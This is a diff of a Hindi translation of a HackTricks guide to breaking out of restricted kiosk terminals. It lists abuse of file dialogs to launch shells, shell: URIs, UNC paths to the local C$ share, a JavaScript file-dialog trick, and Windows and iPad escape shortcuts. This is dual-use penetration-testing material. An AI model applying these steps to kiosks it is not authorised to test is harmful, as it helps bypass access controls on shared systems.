* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,85 +1,75 @@
|
|||
# KIOSKs से बाहर निकलना
|
||||
# KIOSKs से भागना
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>हैकट्रिक्स का समर्थन करें</summary>
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जाँच करें!
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में PR जमा करके।
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** पर आधारित खोज इंजन है जो **मुफ्त** सुविधाएं प्रदान करता है ताकि जांच सकें कि क्या कोई कंपनी या उसके ग्राहकों को **स्टीलर मैलवेयर** द्वारा **क्षति** पहुंचाई गई है।
|
||||
|
||||
WhiteIntel का मुख्य उद्देश्य खाता हाथियाने और रैंसमवेयर हमलों का मुकाबला करना है जो जानकारी चोरी करने वाले मैलवेयर से होते हैं।
|
||||
|
||||
आप उनकी वेबसाइट चेक कर सकते हैं और **मुफ्त** में उनका इंजन आजमा सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
---
|
||||
|
||||
## भौतिक उपकरण की जाँच
|
||||
## भौतिक उपकरण की जांच करें
|
||||
|
||||
| घटक | क्रिया |
|
||||
| ------------- | -------------------------------------------------------------------- |
|
||||
| पावर बटन | उपकरण को बंद और फिर से चालू करने से प्रारंभ स्क्रीन प्रकट हो सकता है |
|
||||
| पावर केबल | जांचें कि उपकरण को थोड़ी देर के लिए बिजली काटने पर पुनरारंभ होता है |
|
||||
| USB पोर्ट्स | फिजिकल कीबोर्ड कनेक्ट करें जिसमें अधिक शॉर्टकट्स हों |
|
||||
| ईथरनेट | नेटवर्क स्कैन या स्निफिंग से और अधिक शोषण संभव हो सकता है |
|
||||
| पावर बटन | डिवाइस को बंद और फिर से चालू करने से प्रारंभ स्क्रीन प्रकट हो सकती है |
|
||||
| पावर केबल | जांचें कि क्या डिवाइस थोड़े समय के लिए पावर कट जाने पर फिर से बूट होता है |
|
||||
| USB पोर्ट | अधिक शॉर्टकट के साथ भौतिक कीबोर्ड कनेक्ट करें |
|
||||
| ईथरनेट | नेटवर्क स्कैन या स्निफिंग आगे के शोषण को सक्षम कर सकती है |
|
||||
|
||||
|
||||
## GUI एप्लिकेशन के अंदर संभावित क्रियाएँ जांचें
|
||||
## GUI एप्लिकेशन के अंदर संभावित क्रियाओं की जांच करें
|
||||
|
||||
**सामान्य संवाद** वह विकल्प हैं जो **एक फ़ाइल सहेजना**, **एक फ़ाइल खोलना**, एक फ़ॉन्ट, एक रंग का चयन करने के... ज्यादातर में ये **पूर्ण एक्सप्लोरर कार्यक्षमता प्रदान करेंगे**। इसका मतलब है कि आप एक्सप्लोरर कार्यक्षमताओं तक पहुंच सकेंगे अगर आप इन विकल्पों तक पहुंच सकते हैं:
|
||||
**सामान्य संवाद** वे विकल्प हैं जो **फाइल को सहेजने**, **फाइल खोलने**, एक फ़ॉन्ट, एक रंग चुनने... के लिए होते हैं। इनमें से अधिकांश **पूर्ण एक्सप्लोरर कार्यक्षमता** प्रदान करेंगे। इसका मतलब है कि यदि आप इन विकल्पों तक पहुँच सकते हैं, तो आप एक्सप्लोरर कार्यक्षमताओं तक पहुँच सकते हैं:
|
||||
|
||||
* बंद करें/बंद करें जैसा
|
||||
* बंद करें/जैसे बंद करें
|
||||
* खोलें/के साथ खोलें
|
||||
* प्रिंट
|
||||
* प्रिंट करें
|
||||
* निर्यात/आयात
|
||||
* खोज
|
||||
* स्कैन
|
||||
* खोजें
|
||||
* स्कैन करें
|
||||
|
||||
आपको यह जांचनी चाहिए कि क्या आप:
|
||||
आपको यह जांचना चाहिए कि क्या आप:
|
||||
|
||||
* फ़ाइलों को संशोधित या नई फ़ाइलें बना सकते हैं
|
||||
* प्रतीकात्मक लिंक बना सकते हैं
|
||||
* प्रतिबंधित क्षेत्रों तक पहुंच प्राप्त कर सकते हैं
|
||||
* अन्य ऐप्स को क्रियान्वित कर सकते हैं
|
||||
* प्रतिबंधित क्षेत्रों तक पहुँच प्राप्त कर सकते हैं
|
||||
* अन्य ऐप्स को निष्पादित कर सकते हैं
|
||||
|
||||
### कमांड निष्पादन
|
||||
|
||||
शायद **`खोलें के साथ`** विकल्प का उपयोग करके आप किसी प्रकार की शैल खोल/निष्पादित कर सकते हैं।
|
||||
शायद **`Open with`** विकल्प का उपयोग करके आप किसी प्रकार का शेल खोल/निष्पादित कर सकते हैं।
|
||||
|
||||
#### Windows
|
||||
#### विंडोज
|
||||
|
||||
उदाहरण के लिए _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ यहाँ और भी बाइनरी हैं जो कमांड निष्पादित करने के लिए उपयोग किए जा सकते हैं (और अप्रत्याशित क्रियाएँ कर सकते हैं): [https://lolbas-project.github.io/](https://lolbas-project.github.io)
|
||||
उदाहरण के लिए _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ यहाँ और बाइनरी खोजें जो कमांड निष्पादित करने (और अप्रत्याशित क्रियाएँ करने) के लिए उपयोग की जा सकती हैं: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
|
||||
|
||||
#### \*NIX \_\_
|
||||
|
||||
_bash, sh, zsh..._ अधिक यहाँ: [https://gtfobins.github.io/](https://gtfobins.github.io)
|
||||
_bash, sh, zsh..._ यहाँ अधिक: [https://gtfobins.github.io/](https://gtfobins.github.io)
|
||||
|
||||
## Windows
|
||||
## विंडोज
|
||||
|
||||
### पथ प्रतिबंधों को छोड़ना
|
||||
### पथ प्रतिबंधों को बायपास करना
|
||||
|
||||
* **पर्यावरण चर**: कई पर्यावरण चर हैं जो किसी पथ को दिखा रहे हैं
|
||||
* **पर्यावरण चर**: कई पर्यावरण चर हैं जो कुछ पथ की ओर इशारा कर रहे हैं
|
||||
* **अन्य प्रोटोकॉल**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
|
||||
* **प्रतीकात्मक लिंक्स**
|
||||
* **शॉर्टकट्स**: CTRL+N (नई सत्र खोलें), CTRL+R (कमांड निष्पादित करें), CTRL+SHIFT+ESC (कार्य प्रबंधक), Windows+E (एक्सप्लोरर खोलें), CTRL-B, CTRL-I (पसंद), CTRL-H (इतिहास), CTRL-L, CTRL-O (फ़ाइल/खोलें संवाद), CTRL-P (प्रिंट संवाद), CTRL-S (इस रूप में सहेजें)
|
||||
* **प्रतीकात्मक लिंक**
|
||||
* **शॉर्टकट**: CTRL+N (नई सत्र खोलें), CTRL+R (कमांड निष्पादित करें), CTRL+SHIFT+ESC (कार्य प्रबंधक), Windows+E (एक्सप्लोरर खोलें), CTRL-B, CTRL-I (पसंदीदा), CTRL-H (इतिहास), CTRL-L, CTRL-O (फाइल/खोलें संवाद), CTRL-P (प्रिंट संवाद), CTRL-S (जैसे सहेजें)
|
||||
* छिपा हुआ प्रशासनिक मेनू: CTRL-ALT-F8, CTRL-ESC-F9
|
||||
* **शैल URI**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
|
||||
* **UNC पथ**: साझा फ़ोल्डरों से कनेक्ट करने के लिए पथ। आपको स्थानीय मशीन के C$ से कनेक्ट करने की कोशिश करनी चाहिए ("\\\127.0.0.1\c$\Windows\System32")
|
||||
* **शेल URIs**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
|
||||
* **UNC पथ**: साझा फ़ोल्डरों से कनेक्ट करने के लिए पथ। आपको स्थानीय मशीन के C$ से कनेक्ट करने का प्रयास करना चाहिए ("\\\127.0.0.1\c$\Windows\System32")
|
||||
* **अधिक UNC पथ:**
|
||||
|
||||
| UNC | UNC | UNC |
|
||||
|
@ -100,7 +90,7 @@ _bash, sh, zsh..._ अधिक यहाँ: [https://gtfobins.github.io/](http
|
|||
एक्सप्लोरर: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
|
||||
रजिस्ट्री संपादक: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
|
||||
|
||||
### ब्राउज़र से फ़ाइल सिस्टम तक पहुंच
|
||||
### ब्राउज़र से फ़ाइल सिस्टम तक पहुँच
|
||||
|
||||
| PATH | PATH | PATH | PATH |
|
||||
| ------------------- | ----------------- | ------------------ | ------------------- |
|
||||
|
@ -111,47 +101,48 @@ _bash, sh, zsh..._ अधिक यहाँ: [https://gtfobins.github.io/](http
|
|||
| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% |
|
||||
| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% |
|
||||
| %HOMEDRIVE% | %HOMESHARE | | <p><br></p> |
|
||||
### शॉर्टकट्स
|
||||
|
||||
* स्टिकी की – SHIFT 5 बार दबाएं
|
||||
* माउस की – SHIFT+ALT+NUMLOCK
|
||||
* हाई कंट्रास्ट – SHIFT+ALT+PRINTSCN
|
||||
* टॉगल की – NUMLOCK को 5 सेकंड के लिए दबाएं
|
||||
* फ़िल्टर की – दाएं SHIFT को 12 सेकंड के लिए दबाएं
|
||||
* WINDOWS+F1 – Windows खोज
|
||||
* WINDOWS+D – डेस्कटॉप दिखाएं
|
||||
* WINDOWS+E – Windows एक्सप्लोरर लॉन्च करें
|
||||
### शॉर्टकट
|
||||
|
||||
* स्टिकी कीज़ – SHIFT को 5 बार दबाएँ
|
||||
* माउस कीज़ – SHIFT+ALT+NUMLOCK
|
||||
* हाई कॉन्ट्रास्ट – SHIFT+ALT+PRINTSCN
|
||||
* टॉगल कीज़ – NUMLOCK को 5 सेकंड के लिए दबाए रखें
|
||||
* फ़िल्टर कीज़ – दाएँ SHIFT को 12 सेकंड के लिए दबाए रखें
|
||||
* WINDOWS+F1 – विंडोज़ खोज
|
||||
* WINDOWS+D – डेस्कटॉप दिखाएँ
|
||||
* WINDOWS+E – विंडोज़ एक्सप्लोरर लॉन्च करें
|
||||
* WINDOWS+R – रन
|
||||
* WINDOWS+U – इज ऑफ़ एक्सेस सेंटर
|
||||
* WINDOWS+F – खोज
|
||||
* WINDOWS+U – एक्सेस सेंटर
|
||||
* WINDOWS+F – खोजें
|
||||
* SHIFT+F10 – संदर्भ मेनू
|
||||
* CTRL+SHIFT+ESC – टास्क मैनेजर
|
||||
* CTRL+ALT+DEL – नए Windows संस्करणों पर स्प्लैश स्क्रीन
|
||||
* F1 – मदद F3 – खोज
|
||||
* CTRL+SHIFT+ESC – कार्य प्रबंधक
|
||||
* CTRL+ALT+DEL – नए विंडोज़ संस्करणों पर स्प्लैश स्क्रीन
|
||||
* F1 – मदद F3 – खोजें
|
||||
* F6 – पता बार
|
||||
* F11 – इंटरनेट एक्सप्लोरर के भीतर पूर्ण स्क्रीन टॉगल
|
||||
* F11 – इंटरनेट एक्सप्लोरर में पूर्ण स्क्रीन टॉगल करें
|
||||
* CTRL+H – इंटरनेट एक्सप्लोरर इतिहास
|
||||
* CTRL+T – इंटरनेट एक्सप्लोरर – नया टैब
|
||||
* CTRL+N – इंटरनेट एक्सप्लोरर – नया पेज
|
||||
* CTRL+N – इंटरनेट एक्सप्लोरर – नया पृष्ठ
|
||||
* CTRL+O – फ़ाइल खोलें
|
||||
* CTRL+S – सहेजें CTRL+N – नया RDP / Citrix
|
||||
|
||||
### स्वाइप
|
||||
|
||||
* छोड़ें की तरफ से दाएं ओर स्वाइप करें ताकि सभी खुली विंडो दिखाई दें, KIOSK ऐप को कम करें और पूरे ओएस तक सीधे पहुंचें;
|
||||
* दाएं ओर से बाएं की तरफ स्वाइप करें ताकि क्रिया केंद्र खोलें, KIOSK ऐप को कम करें और पूरे ओएस तक सीधे पहुंचें;
|
||||
* ऊपर की किनारे से स्वाइप करें ताकि पूर्ण स्क्रीन मोड में खोले गए ऐप के लिए शीर्ष बार दिखाई दे;
|
||||
* नीचे से ऊपर की ओर स्वाइप करें ताकि पूर्ण स्क्रीन ऐप में टास्कबार दिखाई दे।
|
||||
* बाएँ से दाएँ स्वाइप करें ताकि सभी खुले विंडोज़ देख सकें, KIOSK ऐप को कम करते हुए और सीधे पूरे OS तक पहुँच सकें;
|
||||
* दाएँ से बाएँ स्वाइप करें ताकि एक्शन सेंटर खोल सकें, KIOSK ऐप को कम करते हुए और सीधे पूरे OS तक पहुँच सकें;
|
||||
* शीर्ष किनारे से स्वाइप करें ताकि पूर्ण स्क्रीन मोड में खोले गए ऐप के लिए शीर्षक बार दिखाई दे;
|
||||
* नीचे से स्वाइप करें ताकि पूर्ण स्क्रीन ऐप में टास्कबार दिख सके।
|
||||
|
||||
### इंटरनेट एक्सप्लोरर ट्रिक्स
|
||||
|
||||
#### 'इमेज टूलबार'
|
||||
|
||||
यह एक टूलबार है जो छवि के ऊपर बाएं-दाएं में दिखाई देती है जब इसे क्लिक किया जाता है। आप "सेव", "प्रिंट", "मेलटो", "माय पिक्चर्स" इंएक्सप्लोरर में खोलने की क्षमता होगी। किओस्क को इंटरनेट एक्सप्लोरर का उपयोग करना चाहिए।
|
||||
यह एक टूलबार है जो इमेज पर क्लिक करने पर शीर्ष-बाएँ पर दिखाई देता है। आप सहेजने, प्रिंट करने, मेल करने, एक्सप्लोरर में "मेरी तस्वीरें" खोलने में सक्षम होंगे। Kiosk को इंटरनेट एक्सप्लोरर का उपयोग करना चाहिए।
|
||||
|
||||
#### शैल प्रोटोकॉल
|
||||
#### शेल प्रोटोकॉल
|
||||
|
||||
एक्सप्लोरर दृश्य प्राप्त करने के लिए इस URL को टाइप करें:
|
||||
एक्सप्लोरर दृश्य प्राप्त करने के लिए ये URL टाइप करें:
|
||||
|
||||
* `shell:Administrative Tools`
|
||||
* `shell:DocumentsLibrary`
|
||||
|
@ -170,110 +161,129 @@ _bash, sh, zsh..._ अधिक यहाँ: [https://gtfobins.github.io/](http
|
|||
* `Shell:System`
|
||||
* `Shell:ControlPanelFolder`
|
||||
* `Shell:Windows`
|
||||
* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> कंट्रोल पैनल
|
||||
* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> नियंत्रण कक्ष
|
||||
* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> मेरा कंप्यूटर
|
||||
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> मेरे नेटवर्क प्लेसेस
|
||||
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> मेरे नेटवर्क स्थान
|
||||
* `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> इंटरनेट एक्सप्लोरर
|
||||
|
||||
### फ़ाइल एक्सटेंशन दिखाएं
|
||||
### फ़ाइल एक्सटेंशन दिखाएँ
|
||||
|
||||
अधिक जानकारी के लिए इस पेज की जाँच करें: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
|
||||
अधिक जानकारी के लिए इस पृष्ठ की जांच करें: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
|
||||
|
||||
## ब्राउज़र ट्रिक्स
|
||||
## ब्राउज़र्स ट्रिक्स
|
||||
|
||||
आईकैट संस्करण की बैकअप:
|
||||
iKat संस्करणों का बैकअप:
|
||||
|
||||
[http://swin.es/k/](http://swin.es/k/)\
|
||||
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\
|
||||
|
||||
जावास्क्रिप्ट का उपयोग करके एक सामान्य संवाद बनाएं और फ़ाइल एक्सप्लोरर तक पहुंचें: `document.write('<input/type=file>')`\
|
||||
JavaScript का उपयोग करके एक सामान्य संवाद बनाएं और फ़ाइल एक्सप्लोरर तक पहुँचें: `document.write('<input/type=file>')`\
|
||||
स्रोत: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
|
||||
|
||||
## आईपैड
|
||||
## iPad
|
||||
|
||||
### इशारे और बटन
|
||||
|
||||
* चार (या पांच) उंगलियों के साथ ऊपर स्वाइप करें / होम बटन को दोहराएं: मल्टीटास्क दृश्य देखने और ऐप बदलने के लिए
|
||||
* चार या पांच उंगलियों के साथ किसी भी तरह स्वाइप करें: अगले/पिछले ऐप में बदलने के लिए
|
||||
* पांच उंगलियों के साथ स्क्रीन को पिंच करें / होम बटन को छूनें / एक उंगली से तेजी से स्क्रीन के नीचे से ऊपर स्वाइप करें: होम तक पहुंचने के लिए
|
||||
* एक उंगली से स्क्रीन के नीचे से सिर्फ 1-2 इंच (धीमे से) स्वाइप करें: डॉक दिखाई देगा
|
||||
* एक उंगली से डिस्प्ले के ऊपर से नीचे स्वाइप करें: अपने सूचनाएं देखने के लिए
|
||||
* एक उंगली से स्क्रीन के ऊपर-दाएं कोने से नीचे स्वाइप करें: आईपैड प्रो का नियंत्रण केंद्र देखने के लिए
|
||||
* एक उंगली से स्क्रीन के बाएं किनारे से 1-2 इंच: आज का दृश्य देखने के लिए
|
||||
* एक उंगली से स्क्रीन के केंद्र से दाएं या बाएं तेजी से स्वाइप करें: अगले/पिछले ऐप में बदलने के लिए
|
||||
* ऊपर-दाएं कोने में ओन/**ऑफ़**/स्लीप बटन को दबाएं + स्लाइड को **पावर ऑफ़** स्लाइडर को पूरी तरह से दाएं ले जाएं: पावर ऑफ़ करने के लिए
|
||||
* ऊपर-दाएं कोने में ओन/**ऑफ़**/स्लीप बटन को दबाएं + होम बटन को कुछ सेकंड के लिए: हार्ड पावर ऑफ़ करने के लिए
|
||||
* ऊपर-दाएं कोने में ओन/**ऑफ़**/स्लीप बटन को दबाएं + होम बटन को तेजी से: एक स्क्रीनशॉट लेने के लिए जो डिस्प्ले के नीचे बाएं में पॉप अप होगा। दोनों बटनों को एक साथ बहुत हल्के से दबाएं जैसे कि आप कुछ सेकंड होल्ड करते हैं तो हार्ड पावर ऑफ़ हो जाएगा।
|
||||
* चार (या पाँच) उंगलियों के साथ ऊपर स्वाइप करें / होम बटन को डबल-टैप करें: मल्टीटास्क दृश्य देखने और ऐप बदलने के लिए
|
||||
* चार या पाँच उंगलियों के साथ एक दिशा में स्वाइप करें: अगले/पिछले ऐप में बदलने के लिए
|
||||
* पाँच उंगलियों के साथ स्क्रीन को चुटकी लें / होम बटन को छूएं / स्क्रीन के नीचे से 1 उंगली के साथ तेजी से ऊपर स्वाइप करें: होम तक पहुँचने के लिए
|
||||
* स्क्रीन के नीचे से 1 उंगली को केवल 1-2 इंच (धीरे) स्वाइप करें: डॉक दिखाई देगा
|
||||
* स्क्रीन के शीर्ष से 1 उंगली के साथ नीचे स्वाइप करें: अपनी सूचनाएँ देखने के लिए
|
||||
* स्क्रीन के शीर्ष-दाएँ कोने से 1 उंगली के साथ नीचे स्वाइप करें: iPad Pro का नियंत्रण केंद्र देखने के लिए
|
||||
* स्क्रीन के बाएँ से 1 उंगली को 1-2 इंच स्वाइप करें: आज का दृश्य देखने के लिए
|
||||
* स्क्रीन के केंद्र से 1 उंगली को तेजी से दाएँ या बाएँ स्वाइप करें: अगले/पिछले ऐप में बदलने के लिए
|
||||
* ऊपरी-दाएँ कोने पर ऑन/**ऑफ**/स्लीप बटन को दबाए रखें + **पावर ऑफ** स्लाइडर को दाएँ तक खींचें: पावर ऑफ करने के लिए
|
||||
* ऊपरी-दाएँ कोने पर ऑन/**ऑफ**/स्लीप बटन को कुछ सेकंड के लिए और होम बटन को दबाएँ: हार्ड पावर ऑफ करने के लिए
|
||||
* ऊपरी-दाएँ कोने पर ऑन/**ऑफ**/स्लीप बटन को और होम बटन को तेजी से दबाएँ: एक स्क्रीनशॉट लेने के लिए जो डिस्प्ले के निचले बाएँ में पॉप अप होगा। दोनों बटन को एक साथ बहुत संक्षेप में दबाएँ, जैसे कि यदि आप उन्हें कुछ सेकंड के लिए दबाए रखते हैं तो एक हार्ड पावर ऑफ किया जाएगा।
|
||||
|
||||
### शॉर्टकट्स
|
||||
### शॉर्टकट
|
||||
|
||||
आपके पास एक आईपैड कुंजीपटल या एक USB कुंजीपटल अडैप्टर होना चाहिए। यहाँ केवल उन शॉर्टकट्स को दिखाया जाएगा जो ऐप से बाहर निकलने में मदद कर सकते हैं।
|
||||
आपके पास एक iPad कीबोर्ड या USB कीबोर्ड एडाप्टर होना चाहिए। केवल वे शॉर्टकट जो एप्लिकेशन से भागने में मदद कर सकते हैं, यहाँ दिखाए जाएंगे।
|
||||
|
||||
| कुंजी | नाम |
|
||||
| --- | ------------ |
|
||||
| ⌘ | कमांड |
|
||||
| ⌥ | विकल्प (ऑल्ट) |
|
||||
| ⌥ | विकल्प (Alt) |
|
||||
| ⇧ | शिफ्ट |
|
||||
| ↩ | वापस |
|
||||
| ↩ | रिटर्न |
|
||||
| ⇥ | टैब |
|
||||
| ^ | नियंत्रण |
|
||||
| ← | बाएं तीर |
|
||||
| → | दाएं तीर |
|
||||
| ← | बाएँ तीर |
|
||||
| → | दाएँ तीर |
|
||||
| ↑ | ऊपर तीर |
|
||||
| ↓ | नीचे तीर |
|
||||
|
||||
#### सिस्टम शॉर्टकट्स
|
||||
#### सिस्टम शॉर्टकट
|
||||
|
||||
ये शॉर्टकट्स विजुअल सेटिंग्स और ध्वनि सेटिंग्स के लिए हैं, आईपैड के उपयोग पर निर्भर करते हैं।
|
||||
ये शॉर्टकट दृश्य सेटिंग्स और ध्वनि सेटिंग्स के लिए हैं, iPad के उपयोग के आधार पर।
|
||||
|
||||
| शॉर्टकट | क्रिया |
|
||||
| -------- | ------------------------------------------------------------------------------ |
|
||||
| F1 | स्क्रीन कम करें |
|
||||
| F2 | स्क्रीन चमकाएं |
|
||||
| F7 | पिछला गाना |
|
||||
| F8 | प्ले/पॉज़ करें |
|
||||
| F9 | गाना छोड़ें |
|
||||
| F10 | म्यूट करें |
|
||||
| F11 | ध्वनि की गति कम करें |
|
||||
| F12 | ध्वनि की गति बढ़ाएं |
|
||||
| ⌘ Space | उपलब्ध भाषाओं की सूची दिखाएं; चुनने के लिए, फिर स्पेस बार दबाएं। |
|
||||
| F1 | स्क्रीन को मंद करें |
|
||||
| F2 | स्क्रीन को उज्ज्वल करें |
|
||||
| F7 | एक गाना पीछे करें |
|
||||
| F8 | प्ले/पॉज़ |
|
||||
| F9 | गाना छोड़ें |
|
||||
| F10 | म्यूट |
|
||||
| F11 | ध्वनि कम करें |
|
||||
| F12 | ध्वनि बढ़ाएँ |
|
||||
| ⌘ Space | उपलब्ध भाषाओं की सूची प्रदर्शित करें; एक चुनने के लिए, फिर से स्पेस बार दबाएँ। |
|
||||
|
||||
#### आईपैड नेविगेशन
|
||||
#### iPad नेविगेशन
|
||||
|
||||
| शॉर्टकट | क्रिया |
|
||||
| -------------------------------------------------- | ------------------------------------------------------- |
|
||||
| ⌘H | होम पर जाएं |
|
||||
| ⌘⇧H (कमांड-शिफ्ट-एच) | होम पर जाएं |
|
||||
| ⌘ (स्पेस) | स्पॉटलाइट खोलें |
|
||||
| ⌘⇥ (कमांड-टैब) | पिछले दस उपयोग किए गए ऐप्स की सूची |
|
||||
| ⌘\~ | अंतिम ऐप पर जाएं |
|
||||
|
|
||||
#### सफारी शॉर्टकट्स
|
||||
| ⌘H | होम पर जाएँ |
|
||||
| ⌘⇧H (कमांड-शिफ्ट-H) | होम पर जाएँ |
|
||||
| ⌘ (स्पेस) | स्पॉटलाइट खोलें |
|
||||
| ⌘⇥ (कमांड-टैब) | पिछले दस उपयोग किए गए ऐप्स की सूची |
|
||||
| ⌘\~ | अंतिम ऐप पर जाएँ |
|
||||
| ⌘⇧3 (कमांड-शिफ्ट-3) | स्क्रीनशॉट (निचले बाएँ में सहेजने या उस पर कार्य करने के लिए) |
|
||||
| ⌘⇧4 | स्क्रीनशॉट और इसे संपादक में खोलें |
|
||||
| ⌘ को दबाए रखें | ऐप के लिए उपलब्ध शॉर्टकट की सूची |
|
||||
| ⌘⌥D (कमांड-ऑप्शन/Alt-D) | डॉक लाएगा |
|
||||
| ^⌥H (नियंत्रण-ऑप्शन-H) | होम बटन |
|
||||
| ^⌥H H (नियंत्रण-ऑप्शन-H-H) | मल्टीटास्क बार दिखाएँ |
|
||||
| ^⌥I (नियंत्रण-ऑप्शन-i) | आइटम चयनकर्ता |
|
||||
| Escape | वापस बटन |
|
||||
| → (दाएँ तीर) | अगला आइटम |
|
||||
| ← (बाएँ तीर) | पिछला आइटम |
|
||||
| ↑↓ (ऊपर तीर, नीचे तीर) | चयनित आइटम को एक साथ टैप करें |
|
||||
| ⌥ ↓ (विकल्प-नीचे तीर) | नीचे स्क्रॉल करें |
|
||||
| ⌥↑ (विकल्प-ऊपर तीर) | ऊपर स्क्रॉल करें |
|
||||
| ⌥← या ⌥→ (विकल्प-बाएँ तीर या विकल्प-दाएँ तीर) | बाएँ या दाएँ स्क्रॉल करें |
|
||||
| ^⌥S (नियंत्रण-ऑप्शन-S) | वॉयसओवर स्पीच चालू या बंद करें |
|
||||
| ⌘⇧⇥ (कमांड-शिफ्ट-टैब) | पिछले ऐप पर स्विच करें |
|
||||
| ⌘⇥ (कमांड-टैब) | मूल ऐप पर वापस स्विच करें |
|
||||
| ←+→, फिर विकल्प + ← या विकल्प+→ | डॉक के माध्यम से नेविगेट करें |
|
||||
|
||||
#### सफारी शॉर्टकट
|
||||
|
||||
| शॉर्टकट | क्रिया |
|
||||
| ----------------------- | ------------------------------------------------ |
|
||||
| ⌘L (कमांड-एल) | स्थान खोलें |
|
||||
| ⌘T | नया टैब खोलें |
|
||||
| ⌘L (कमांड-L) | स्थान खोलें |
|
||||
| ⌘T | एक नया टैब खोलें |
|
||||
| ⌘W | वर्तमान टैब बंद करें |
|
||||
| ⌘R | वर्तमान टैब को रिफ्रेश करें |
|
||||
